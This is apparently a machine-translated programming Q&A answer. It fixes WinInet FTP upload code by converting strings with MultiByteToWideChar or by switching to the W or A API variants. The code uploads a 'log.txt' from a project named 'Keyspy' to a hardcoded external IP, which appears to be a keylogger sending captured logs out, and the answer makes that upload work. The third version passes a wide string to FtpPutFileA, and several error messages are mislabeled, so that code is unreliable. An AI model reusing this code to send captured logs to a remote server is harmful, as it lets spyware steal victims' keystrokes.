Ошибка 6 - ERROR_INVALID_HANDLE
. Вы не проверяете возвращаемые значения InternetOpen()
и InternetConnect()
на наличие сбоев перед вызовом FtpPutFile()
.
Фактически вы передаете недопустимый дескриптор на FtpPutFile()
, потому что они на самом деле дают сбой,потому что все ваши LPCWSTR
типы являются просто неправильными. Вы не можете просто ввести указатель char*
на wchar_t*
и ожидать, что все будет работать. Удалите Typecasts и посмотрите компилятор, а затем пожалуются вам. Для этого есть причина.
Вам необходимо использовать MultiByteToWideChar()
(или эквивалент), чтобы фактически преобразовать данные char
в wchar_t
, например:
#include <Windows.h>
#include <WinInet.h>
#include <iostream>
#include <string>
#include <vector>
using namespace std;
#pragma comment(lib, "Wininet.lib")
wstring to_wstring(const string &s)
{
int len = MultiByteToWideChar(CP_ACP, 0, s.c_str(), s.size(), NULL, 0);
if (len > 0)
{
vector<WCHAR> vec(len);
MultiByteToWideChar(CP_ACP, 0, s.c_str(), s.size(), &vec[0], len);
return wstring(&vec[0], len);
}
return wstring();
}
bool upload()
{
string file = "C:\\Users\\crypterdev\\Documents\\Visual Studio 2015\\Projects\\Keyspy\\Release\\log.txt";
string site = "142.93.169.69";
string user = "user";
string pass = "pass";
if (!ifstream(file))
{
cout << "no file" << endl;
return false;
}
HINTERNET hint = InternetOpenW(0, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, INTERNET_FLAG_ASYNC);
if (!hint)
{
cout << "InternetOpen failed! Error " << GetLastError() << endl;
return false;
}
HINTERNET hftp = InternetConnectW(hint, to_wstring(site).c_str(), INTERNET_DEFAULT_FTP_PORT, to_wstring(user).c_str(), to_wstring(pass).c_str(), INTERNET_SERVICE_FTP, 0, 0);
if (!hftp)
{
cout << "InternetConnect failed! Error " << GetLastError() << endl;
InternetCloseHandle(hint);
return false;
}
if (!FtpPutFileW(hftp, to_wstring(file).c_str(), L"log.txt", FTP_TRANSFER_TYPE_BINARY, 0))
{
cout << "FtpPutFile failed! Error " << GetLastError() << endl;
InternetCloseHandle(hftp);
InternetCloseHandle(hint);
return false;
}
cout << "file sent!" << endl;
InternetCloseHandle(hftp);
InternetCloseHandle(hint);
return true;
}
Или просто используйте std::wstring
для начала вместо использования std::string
вообще:
#include <Windows.h>
#include <WinInet.h>
#include <iostream>
#include <string>
using namespace std;
#pragma comment(lib, "Wininet.lib")
bool upload()
{
wstring file = L"C:\\Users\\crypterdev\\Documents\\Visual Studio 2015\\Projects\\Keyspy\\Release\\log.txt";
wstring site = L"142.93.169.69";
wstring user = L"user";
wstring pass = L"pass";
if (!wifstream(file))
{
cout << "no file" << endl;
return 0;
}
HINTERNET hint = InternetOpenW(0, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL,INTERNET_FLAG_ASYNC);
if (!hint)
{
cout << "InternetOpen failed! Error " << GetLastError() << endl;
return false;
}
HINTERNET hftp = InternetConnectW(hint, site.c_str(), INTERNET_DEFAULT_FTP_PORT, user.c_str(), pass.c_str(), INTERNET_SERVICE_FTP, 0, 0);
if (!hftp)
{
cout << "InternetOpen failed! Error " << GetLastError() << endl;
InternetCloseHandle(hint);
return false;
}
if (!FtpPutFileW(hftp, file.c_str(), L"log.txt", FTP_TRANSFER_TYPE_BINARY, 0))
{
cout << "FtpPutFile failed! Error " << GetLastError() << endl;
InternetCloseHandle(hftp);
InternetCloseHandle(hint);
return false;
}
cout << "file sent!" << endl;
InternetCloseHandle(hftp);
InternetCloseHandle(hint);
return true;
}
В противном случае, если вы хотите продолжать использовать std::string
как есть, тогда просто используйтеANSI-версия функций WinInet:
#include <Windows.h>
#include <WinInet.h>
#include <iostream>
#include <string>
using namespace std;
#pragma comment(lib, "Wininet.lib")
bool upload()
{
string file = "C:\\Users\\crypterdev\\Documents\\Visual Studio 2015\\Projects\\Keyspy\\Release\\log.txt";
string site = "142.93.169.69";
string user = "user";
string pass = "pass";
if (!ifstream(file))
{
cout << "no file" << endl;
return 0;
}
HINTERNET hint = InternetOpenA(0, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, INTERNET_FLAG_ASYNC);
if (!hint)
{
cout << "InternetOpen failed! Error " << GetLastError() << endl;
return false;
}
HINTERNET hftp = InternetConnectA(hint, site.c_str(), INTERNET_DEFAULT_FTP_PORT, user.c_str(), pass.c_str(), INTERNET_SERVICE_FTP, 0, 0);
if (!hftp)
{
cout << "InternetOpen failed! Error " << GetLastError() << endl;
InternetCloseHandle(hint);
return false;
}
if (!FtpPutFileA(hftp, file.c_str(), L"log.txt", FTP_TRANSFER_TYPE_BINARY, 0))
{
cout << "FtpPutFile failed! Error " << GetLastError() << endl;
InternetCloseHandle(hftp);
InternetCloseHandle(hint);
return false;
}
cout << "file sent!" << endl;
InternetCloseHandle(hftp);
InternetCloseHandle(hint);
return true;
}